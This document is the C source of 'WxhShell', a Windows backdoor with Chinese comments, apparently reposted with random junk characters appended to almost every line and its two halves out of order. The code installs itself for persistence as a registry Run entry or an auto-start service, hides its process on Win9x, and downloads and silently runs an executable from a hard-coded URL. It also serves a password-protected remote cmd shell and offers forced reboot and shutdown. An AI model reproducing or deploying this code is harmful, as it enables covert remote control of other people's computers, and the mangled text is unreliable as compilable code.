  case 'd': { fex@,I&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f8~_E  
    if(Boot(SHUTDOWN)) Tbq;h ?D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3u=g6W2 F  
    else { WcAkCH!L  
    closesocket(wsh); M  >u_4AY  
    ExitThread(0); QV!up^Zso  
    } 2ESo2  
    break; ]DcFySyv  
    } HtFDlvdy]  
  // 获取shell $Yq9P0Ya  
  case 's': { zfU{Kd  
    CmdShell(wsh); U/U);frH  
    closesocket(wsh); b9krOe *j  
    ExitThread(0); dH!*!r>  
    break; UNYqft4  
  } CTb%(<r  
  // 退出 "sTRS*  
  case 'x': { )8AXm  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @]j1:PN-  
    CloseIt(wsh); A"]YM'.  
    break; rp$'L7lrX  
    } V`- 9m$  
  // 离开 :X=hQ:>P  
  case 'q': { >7|VR:U?B  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ac@VGT:9  
    closesocket(wsh); *w&e\i|7  
    WSACleanup(); uT"rq:N  
    exit(1); G\i9:7 `  
    break; 9w"*y#_  
        } zPO9!?7|  
  } *wearCPeJ  
  } 8LKiS  
8tL~FiHb"  
  // 提示信息 N7"W{"3D  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L0,'mS  
} 2G7Wi!J  
  } &d!GImcxQ  
b}`T Ln  
  return; [JiH\+XLPs  
} <I?Zk80  
-RwE%  cr  
// shell模块句柄 <E~'.p,  
int CmdShell(SOCKET sock) X'srL j.  
{ dV_G1'  
STARTUPINFO si; ]^E?;1$f?  
ZeroMemory(&si,sizeof(si)); la!~\wpa  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _>+Ld6.T6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; lxx2H1([  
PROCESS_INFORMATION ProcessInfo; RZLq]8pM  
char cmdline[]="cmd"; FrS]|=LJhX  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ui~>SN>s  
  return 0; tmq OJ  
} ?s01@f#  
[,Gg^*umS  
// 自身启动模式 `yyG/l  
int StartFromService(void) 6x`t{g]f,  
{ QRUz`|U  
typedef struct [0!(xp^  
{ 01]f2.5  
  DWORD ExitStatus; d{?LD?,)  
  DWORD PebBaseAddress; us-L]S+lm  
  DWORD AffinityMask; B#A6v0Ta  
  DWORD BasePriority; -@'FW*b  
  ULONG UniqueProcessId; Lbgi7|&  
  ULONG InheritedFromUniqueProcessId; Wr 4,YQM  
}   PROCESS_BASIC_INFORMATION; pK*TE5]  
1EK *g;H  
PROCNTQSIP NtQueryInformationProcess; dO'(2J8  
{: /}NpA$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Txu/{ M,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; aE8VZ8tvq  
Dt@SqX:~Ee  
  HANDLE             hProcess; Nn6%9PX_)  
  PROCESS_BASIC_INFORMATION pbi; kiEa<-]  
{7[Ox<Ho  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); N2G{<>=  
  if(NULL == hInst ) return 0; $'vU2L  
5pX6t  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6nn *]|7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /~1+i'7V.,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); llq<egZpm  
dysS9a,  
  if (!NtQueryInformationProcess) return 0; %9"H  
[Xkx_B  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _a, s )  
  if(!hProcess) return 0; ,1`z"7\W  
\fOEqe*5SM  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; vx =&QavL  
VbYdZCC  
  CloseHandle(hProcess); ZJoM?g~WFI  
}f ?y* H  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); awRX1:T#;O  
if(hProcess==NULL) return 0; ~N4m1s"  
_`X:jj>  
HMODULE hMod; ?ub35NLa  
char procName[255]; P \I|,  
unsigned long cbNeeded; Pz7XAcPQ(  
X$ D6Ey  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); kh<2BOV  
:jf3HG  
  CloseHandle(hProcess); Wwo0%<2y  
!WlH'y-I  
if(strstr(procName,"services")) return 1; // 以服务启动 WH\d| 1)  
l/D} X  
  return 0; // 注册表启动 ;uW FHc5@B  
} i b m4fa  
pH;%ELZ  
// 主模块 %b0*H_ok7  
int StartWxhshell(LPSTR lpCmdLine) Jm@oDME_E  
{ 4H/OBR  
  SOCKET wsl; SbZ6t$"  
BOOL val=TRUE; )b)zm2;  
  int port=0; /v}`l  
  struct sockaddr_in door; *8q.YuZ  
+ZYn? #IQ  
  if(wscfg.ws_autoins) Install(); !D6]JPX  
!-bB559Nv  
port=atoi(lpCmdLine); 2wn2.\v M  
KvS G;  
if(port<=0) port=wscfg.ws_port; 4i bc  
xw%0>K[  
  WSADATA data; {g6%(X\r.r  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x-c"%Z|  
bt *k.=p  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   d9ihhqq3}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Bvj0^fSm  
  door.sin_family = AF_INET; =N@t'fOr  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }]Tx lSp!;  
  door.sin_port = htons(port); k)u[0}   
=Qq+4F)MD  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Xj*Wu_  
closesocket(wsl); hZ3bVi)L\  
return 1; 5;?yCWc  
} :&Nbw  
p_ =z#  
  if(listen(wsl,2) == INVALID_SOCKET) { G3]4A&h9v~  
closesocket(wsl); E7hhew  
return 1; DIvHvFss  
} i4Jc.8^9$  
  Wxhshell(wsl); oU|c.mYe  
  WSACleanup(); 6zkaOA46V  
=41xkAMnk  
return 0; 8MBAtVmy  
e!`i3KYn"  
} !k%#R4*>  
<{pz<io)  
// 以NT服务方式启动 g}i61(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Vi}_{ Cy  
{ g`^x@rj`E  
DWORD   status = 0; .hiSw  
  DWORD   specificError = 0xfffffff; -di o5a  
;jPXs  
  serviceStatus.dwServiceType     = SERVICE_WIN32; e )ZUO_Q$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; d _ e WcI  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Q\)F;:|  
  serviceStatus.dwWin32ExitCode     = 0; Y7nvHU|+o  
  serviceStatus.dwServiceSpecificExitCode = 0; _wcNgFx  
  serviceStatus.dwCheckPoint       = 0; BY*Q_Et  
  serviceStatus.dwWaitHint       = 0; v<;Md-<  
GfG|&VNlz  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 'S~5"6r  
  if (hServiceStatusHandle==0) return; *=n:-  
l~.-e^p?  
status = GetLastError(); JRFtsio*  
  if (status!=NO_ERROR) +V+a4lU14  
{ /=h` L ,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [Q =N n  
    serviceStatus.dwCheckPoint       = 0; "3hMq1NQ`g  
    serviceStatus.dwWaitHint       = 0; *A< 5*Db:F  
    serviceStatus.dwWin32ExitCode     = status; F?cK- .  
    serviceStatus.dwServiceSpecificExitCode = specificError; }Lv;!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); DMS! a$4  
    return; *H122njH+T  
  } F/Pep?'  
_U0f=m  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1}37Q&2  
  serviceStatus.dwCheckPoint       = 0; VX/#1StC  
  serviceStatus.dwWaitHint       = 0; cAy3^{3:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); p7Cs.2>M>S  
} nm+s{  
G`zm@QL  
// 处理NT服务事件,比如:启动、停止 Ah<+y\C  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .-=vx r  
{ uMv1O{  
switch(fdwControl) *kVV+H<X|b  
{ ^(<f/C)i  
case SERVICE_CONTROL_STOP: @KA4N`  
  serviceStatus.dwWin32ExitCode = 0; V:27)]q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; S$k&vc(0  
  serviceStatus.dwCheckPoint   = 0; +{>=^9%X  
  serviceStatus.dwWaitHint     = 0; $|@ r!/W  
  { PX99uWx5]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {U1m.30n  
  } *J{+1Ev~$p  
  return; l]cFqL p  
case SERVICE_CONTROL_PAUSE: 6Iw\c  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; TKjFp%  
  break;  9a kH  
case SERVICE_CONTROL_CONTINUE: o.\oA6P_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !wp3!bLp  
  break; <1 pEwI~  
case SERVICE_CONTROL_INTERROGATE: + )?J#g  
  break; fQ98(+6  
}; B;WCTMy}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q9NoI(]e  
} _FEF x  
Nluoqo ac  
// 标准应用程序主函数 _rYkis^ u  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |%v^W3  
{ 6 r_)sHf  
mqJ_W[y7  
// 获取操作系统版本 !-Y3V"  
OsIsNt=GetOsVer(); +*^H#|!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }-fl$j?9E  
" Jr-J#gg  
  // 从命令行安装 &[SC|=U'M  
  if(strpbrk(lpCmdLine,"iI")) Install(); kN>!2UfNS  
Wl Sm  
  // 下载执行文件 Sc   
if(wscfg.ws_downexe) { ZC}QId  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) T)}) pt!V  
  WinExec(wscfg.ws_filenam,SW_HIDE); wAd9  
} !by\9  ?n  
kW (Bkuc)  
if(!OsIsNt) { j7c3(*Pl  
// 如果时win9x,隐藏进程并且设置为注册表启动 L-\GHu~)  
HideProc(); go"Hf_  
StartWxhshell(lpCmdLine); 2"5v[,$1H  
} d[35d J7F  
else _2nx^E(pd  
  if(StartFromService()) ;$tSb ~K+  
  // 以服务方式启动 Z8oK2Dw  
  StartServiceCtrlDispatcher(DispatchTable); ,(4K4pN  
else ASfaX:ke  
  // 普通方式启动 ]~nKK@Rw  
  StartWxhshell(lpCmdLine); :aQt;C6Z>  
m6djeOl  
return 0; Wm3X[?V  
} 9,tej  
km40qO@3  
XrPfotj1  
F>cv<l =6l  
=========================================== @K]|K]cby  
*:NQ&y*uj  
8*fv'  
HKr Mim-  
: c[L3rJl  
%[yJ4WL  
" _l]fkk[T  
f9\X>zzB2|  
#include <stdio.h> JZ#[ 2mLh  
#include <string.h> Gbw2E&a  
#include <windows.h> $\! 7 {6a  
#include <winsock2.h> ,: ->ErP  
#include <winsvc.h> (~en (  
#include <urlmon.h> A4ygW:  
P2*<GjV`S/  
#pragma comment (lib, "Ws2_32.lib") "T"h)L<  
#pragma comment (lib, "urlmon.lib") ##o#eZq:"  
veRm2 LSP  
#define MAX_USER   100 // 最大客户端连接数 h-D }'R  
#define BUF_SOCK   200 // sock buffer +U.I( 83F  
#define KEY_BUFF   255 // 输入 buffer 7!$^r$t   
~= -RK$=  
#define REBOOT     0   // 重启 F3N6{ysK#  
#define SHUTDOWN   1   // 关机 d:{O\   
e!r-+.i(  
#define DEF_PORT   5000 // 监听端口 VQ{fne<  
+'@Dz9:>  
#define REG_LEN     16   // 注册表键长度 ^BL"wk  
#define SVC_LEN     80   // NT服务名长度 2>H24F  
.% OR3"9@  
// 从dll定义API o+9j?|M  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6u}</>}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r)6M!_]AW  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z`BK/:vo3H  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); - CWywuD  
y|q3Wa  
// wxhshell配置信息 ?NP1y9Y]i  
struct WSCFG { 8Bg;Kh6B  
  int ws_port;         // 监听端口 \r>6`-cs]  
  char ws_passstr[REG_LEN]; // 口令 k: ;WtBC6j  
  int ws_autoins;       // 安装标记, 1=yes 0=no jZ3fKyp#   
  char ws_regname[REG_LEN]; // 注册表键名 6Kb1~jY  
  char ws_svcname[REG_LEN]; // 服务名 I)W`sBL  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 y#$CMf -q^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 e NafpK  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $D UZ!zaH!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4YX3+oS  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7`hP?a=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =6#Eh=7N  
-FCe:iY! A  
}; \_6/vZ%-B  
-7(@1@1  
// default Wxhshell configuration I,'k>@w{s  
struct WSCFG wscfg={DEF_PORT, jMDY(mwt  
    "xuhuanlingzhe", <1COZ)   
    1, 9RI-Lq`  
    "Wxhshell", m<g~H4  
    "Wxhshell", {$Gd2g O  
            "WxhShell Service", c:u5\&~{  
    "Wrsky Windows CmdShell Service", uL/m u<  
    "Please Input Your Password: ", Ji 0 tQV  
  1, FjI`uP  
  "http://www.wrsky.com/wxhshell.exe", 1~QPG\cdIX  
  "Wxhshell.exe" .q3/_*  
    }; y<bDTeoo  
Iy3GE[  
// 消息定义模块 7 ^mL_SMj  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; FtC^5{V+V  
char *msg_ws_prompt="\n\r? for help\n\r#>"; r{%qf;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >u8gD6X  
char *msg_ws_ext="\n\rExit."; *C=>X193U  
char *msg_ws_end="\n\rQuit."; *U\`CXn;  
char *msg_ws_boot="\n\rReboot..."; }I6vqG  
char *msg_ws_poff="\n\rShutdown..."; R n*L  
char *msg_ws_down="\n\rSave to "; !1Cy$}w  
rI-%be==  
char *msg_ws_err="\n\rErr!"; `%Al>u5  
char *msg_ws_ok="\n\rOK!"; Q'mM3pq4r  
Clb@$,  
char ExeFile[MAX_PATH]; 5RpjN: 3  
int nUser = 0; 3gj+%%!G\  
HANDLE handles[MAX_USER]; ;?g6QIN9  
int OsIsNt; 0tB0@Wj  
 y%b F&  
SERVICE_STATUS       serviceStatus; h.s+)fl\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; S +^E.  
e2W".+B1  
// 函数声明 ^4Ah_ U  
int Install(void); 9Ly]DZ;L  
int Uninstall(void); qH6>!=00  
int DownloadFile(char *sURL, SOCKET wsh);  "{Eta  
int Boot(int flag); A:9?ZI/X  
void HideProc(void); }t1a* z  
int GetOsVer(void); }sO&. ME  
int Wxhshell(SOCKET wsl); \K]0JH  
void TalkWithClient(void *cs); FzXJ]H  
int CmdShell(SOCKET sock); )sp4Ie  
int StartFromService(void); h_IDO%  
int StartWxhshell(LPSTR lpCmdLine); ""Q P%  
'xg Lt(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %(G* ,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); v(D;PS3r 7  
PO 7Lf#9]  
// 数据结构和表定义 /mu*-,a eX  
SERVICE_TABLE_ENTRY DispatchTable[] = =;&yd';k  
{ c+nq] xOs'  
{wscfg.ws_svcname, NTServiceMain}, 0aa&m[Mk  
{NULL, NULL} (%W&4a1di  
}; T+k{W6  
M8b;d}XL  
// 自我安装 dIBE!4 V[  
int Install(void) ?r2` Q  
{ LRG6:&  
  char svExeFile[MAX_PATH]; &wE%<"aRAl  
  HKEY key; o\pVpbB  
  strcpy(svExeFile,ExeFile); TNh1hhJ$b  
8j\cL'  
// 如果是win9x系统,修改注册表设为自启动 6s/&BR  
if(!OsIsNt) { <r`2)[7N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zY!j:FT1HY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FfPar:PHj  
  RegCloseKey(key); k<{{*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { spPNr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); oVfLnI ;  
  RegCloseKey(key); &,CiM0  
  return 0; hL;(C) (  
    } o,8TDg  
  } Q_X.rUL0w  
} &_|#.  
else { "#oHYz3D  
zZ323pq  
// 如果是NT以上系统,安装为系统服务 YCM]VDx4u1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]cMqahaY  
if (schSCManager!=0) f-n1I^|  
{ * 8_wYYH  
  SC_HANDLE schService = CreateService zvH8^1yzG  
  ( :Ab%g-  
  schSCManager, T7u%^xm  
  wscfg.ws_svcname, )MchsuF<  
  wscfg.ws_svcdisp, }n2M G  
  SERVICE_ALL_ACCESS, `Kr,>sEAM  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , TS9|a{j3!  
  SERVICE_AUTO_START, Yqi4&~?db  
  SERVICE_ERROR_NORMAL, &3Sz je  
  svExeFile, d]6#m'U  
  NULL, #& Rw&  
  NULL, 1\>^m  
  NULL, [t@Mn  
  NULL, &wCg\j_c  
  NULL K[r^'P5m  
  ); _JE"{ ;  
  if (schService!=0) b@f$nS B  
  { '*w00  
  CloseServiceHandle(schService); CtAwBQO  
  CloseServiceHandle(schSCManager); u5 : q$P  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /qGf 1MHD  
  strcat(svExeFile,wscfg.ws_svcname); \2"I;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5r8< 7g:>C  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); q~ZNd3O  
  RegCloseKey(key); 78# v  
  return 0; R$TB1w9]  
    } LNpup`>`  
  } #32"=MfQn  
  CloseServiceHandle(schSCManager); HbA kZP  
} 0ANZAX5  
} P} SCF  
72y0/FJ  
return 1; z>Hgkp8D"  
} 1Y@Aixx  
Qqvihd  
// 自我卸载 W!&'pg  
int Uninstall(void) f@DYN!Z_m  
{ 48qV >Gwf  
  HKEY key; &c:Ad% z  
#( jw!d&  
if(!OsIsNt) { sy"^?th}b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u\{ g(li-I  
  RegDeleteValue(key,wscfg.ws_regname); =L:4i\4  
  RegCloseKey(key); 2h1C9n%j9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aV?@s4  
  RegDeleteValue(key,wscfg.ws_regname); +hT:2TXn  
  RegCloseKey(key); )oPLl|=h  
  return 0; /bi[ e9R  
  } \LppYXz  
} M)N?qRD  
} }\#Rot>Y  
else { x+x40!+\  
HO%wHiv1X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \cUNsB5  
if (schSCManager!=0) PCM-i{6/  
{ RyK\uv  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); R0vIbFwj  
  if (schService!=0) 4K\(xd&Q  
  { ws|;  `  
  if(DeleteService(schService)!=0) { L>%o[tS  
  CloseServiceHandle(schService); e5B Qr$j  
  CloseServiceHandle(schSCManager); ~ga`\% J  
  return 0; )3w@]5j  
  } % !>I*H  
  CloseServiceHandle(schService); g,95T Bc  
  } aL%AQB,  
  CloseServiceHandle(schSCManager); muZ~*kMc  
} 9Hu/u=vB<  
} JSW}*HR  
ayD}r#7  
return 1; k |%B?\m  
} F\k+[`%{  
hn=[1<#^(  
// 从指定url下载文件 5v}8org  
int DownloadFile(char *sURL, SOCKET wsh) Vq;A>  
{ ?yR&/a  
  HRESULT hr; ,7NZu0  
char seps[]= "/"; .0rh y2  
char *token; "zFNg';  
char *file; u r@Z|5  
char myURL[MAX_PATH]; \lC   
char myFILE[MAX_PATH]; d'$T4yA  
Z->p1xkX  
strcpy(myURL,sURL); :^x?2% ~K.  
  token=strtok(myURL,seps); C #6dC0  
  while(token!=NULL) Jesjtcy<*  
  { [P7N{l=I  
    file=token; &2zq%((r  
  token=strtok(NULL,seps); q51Uf_\/  
  } lh D,\3/O  
9Fm"ei  
GetCurrentDirectory(MAX_PATH,myFILE); e9[|!/./5  
strcat(myFILE, "\\"); .dQQoyR+O  
strcat(myFILE, file); +H #U~p$  
  send(wsh,myFILE,strlen(myFILE),0); F>[,zN  
send(wsh,"...",3,0); ;Uu(zhbj  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); meks RcF  
  if(hr==S_OK) ),!;| bh  
return 0; F[[TWf/  
else 5~WGZc  
return 1; u[/m|z  
q]N:Tpm9  
} /&{$ pM|?  
)!:Lzi  
// 系统电源模块 lBFMwJU)  
int Boot(int flag) q^L<X)  
{ p4i]7o@  
  HANDLE hToken; 16i "Yg!*  
  TOKEN_PRIVILEGES tkp; J8)#PY[i4  
P7MeX(Tay  
  if(OsIsNt) { z0*_^MH  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }HYjA4o\A  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); jR#~I@q^  
    tkp.PrivilegeCount = 1; _({A\}Q|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; mJ`A_0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); G 0;XaL:  
if(flag==REBOOT) { _}VloiY  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )V:]g\t  
  return 0;  n>`as  
} /'DsB%7g  
else { s)2fG\1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {aC!~qR  
  return 0; &F5@6nJ`  
} y>|{YWbp?  
  }  \qR %%S  
  else { ADk8{L{UU  
if(flag==REBOOT) { 9>rPe1iv  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %T9  sz4V  
  return 0; D HT&,=  
} TdGnf   
else { @b~fIW_3>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9Q-*@6G  
  return 0; (N=5 .7"T  
} { e5/+W  
} B8%{}[q  
GMZv RAu i  
return 1; j"@93D~  
} gzD@cx?V  
0 Ir<y  
// win9x进程隐藏模块 Gkxj?)`  
void HideProc(void) ;6{@^  
{ dVo.Czyd  
[ $T(WGF  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4T<Lgb  
  if ( hKernel != NULL ) )){9&5,0:  
  { IMl!,(6;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^~HQC*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?EK?b s  
    FreeLibrary(hKernel); F0UVo  
  } 13&0rLS  
.eO?Z^  
return;  g}U3y'  
} la?Wnw  
t/PlcV_M"  
// 获取操作系统版本 $4T2z-  
int GetOsVer(void) |xvy')(b  
{ 0% #<c p  
  OSVERSIONINFO winfo; <ExZ:ip  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); tpTAeQ*:d  
  GetVersionEx(&winfo); AkT<2H|4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }Lw>I94e  
  return 1; c9nH}/I_  
  else .ol'.t ,S  
  return 0; T!}[yW  
} UD y(v]  
AVU>+[.=%c  
// 客户端句柄模块 \S)2  
int Wxhshell(SOCKET wsl) EmT`YNuc  
{ z5X~3s\dP  
  SOCKET wsh; z]bwnJfd  
  struct sockaddr_in client; {gaai  
  DWORD myID; ?[MsQQd~  
tD Cw-  
  while(nUser<MAX_USER) `[YngYw  
{ }O4se"xK  
  int nSize=sizeof(client); Ep4Hqx $  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); FHPXu59u  
  if(wsh==INVALID_SOCKET) return 1; !HJ$UG/\  
)I-fU4?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7 #=}:3c  
if(handles[nUser]==0) A=-F,=k(!/  
  closesocket(wsh); ')$NfarQ.  
else A[YpcG'9  
  nUser++; PSmfiaThwo  
  } _ZAchzV  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %,*G[#*&  
nD2, !71  
  return 0; Wi}FY }f  
} 9cv]y#  
TV}}dw  
// 关闭 socket h`}3h< 8  
void CloseIt(SOCKET wsh) <_./SC  
{ ;!T{%-tP  
closesocket(wsh); ?n\*,{9  
nUser--; .~gl19#:T  
ExitThread(0); nB ".'=  
} Jj^GWZRu  
w_iamqe,  
// 客户端请求句柄 CC3v%^81l^  
void TalkWithClient(void *cs) l#wdpD a{  
{ h !(>7/Gi  
zK+52jhi  
  SOCKET wsh=(SOCKET)cs; OW(&s,|6x  
  char pwd[SVC_LEN]; Ih[+K#t+E  
  char cmd[KEY_BUFF]; Zzl,gy70  
char chr[1]; PZD>U)M  
int i,j; rB%$;<`/  
T/P7F\R  
  while (nUser < MAX_USER) { d'9:$!oz  
9><mp]E4  
if(wscfg.ws_passstr) { e[t<<u3"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 41 vL"P K  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i NWC6y  
  //ZeroMemory(pwd,KEY_BUFF); -NBiW6b~  
      i=0; ,A5)<}  
  while(i<SVC_LEN) { ]> Y/r-!  
L{ymI) Y^  
  // 设置超时 XO F1c3'H  
  fd_set FdRead; #m8sK(#lo  
  struct timeval TimeOut; p '{xoV  
  FD_ZERO(&FdRead); })IO#,  
  FD_SET(wsh,&FdRead); W:QwHZ2O  
  TimeOut.tv_sec=8; C+MSVc  
  TimeOut.tv_usec=0; XDD<oo  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~mN% (w!^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )J3kxmlzQ  
".~{:=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uC]Z8&+obb  
  pwd=chr[0]; 7=*VpX1  
  if(chr[0]==0xd || chr[0]==0xa) { | H ;+1  
  pwd=0; 7XyOB+aQO  
  break; lg1PE7  
  } Jll-X\O`-  
  i++; O hR1Jaed  
    } G(1 K9{i$  
c~dM`2J,  
  // 如果是非法用户,关闭 socket ZZ)G5ji  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  9|S`ub'  
} a1MFjmq  
2#_38=K=@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5`E))?*"Pe  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \T-~JQVj  
`HX3|w6W;  
while(1) { 1ZKzumF  
H"+c)FGi  
  ZeroMemory(cmd,KEY_BUFF); R.1Xst &i  
M} .b" ljZ  
      // 自动支持客户端 telnet标准   <kD#SV%"  
  j=0; n!N\zx8  
  while(j<KEY_BUFF) { (3EUy"z-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M'1HA  
  cmd[j]=chr[0]; :nQp.N*p  
  if(chr[0]==0xa || chr[0]==0xd) { RFG$X-.e  
  cmd[j]=0; "6I[4U"@  
  break; zb2K;%Qs+f  
  } g*]E>SQ=  
  j++; a`Z{ xme =  
    } Z-|li}lDr  
iG[? ]]  
  // 下载文件 Ds5N Ap:x  
  if(strstr(cmd,"http://")) { ^@}#me@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Eqphd!\#6  
  if(DownloadFile(cmd,wsh)) GH3#E*t+[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qp!Y.YnPd_  
  else *PM}"s  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IF?xnu  
  } SQKt}kDbM  
  else { jFj~]]j  
vg5NY =O  
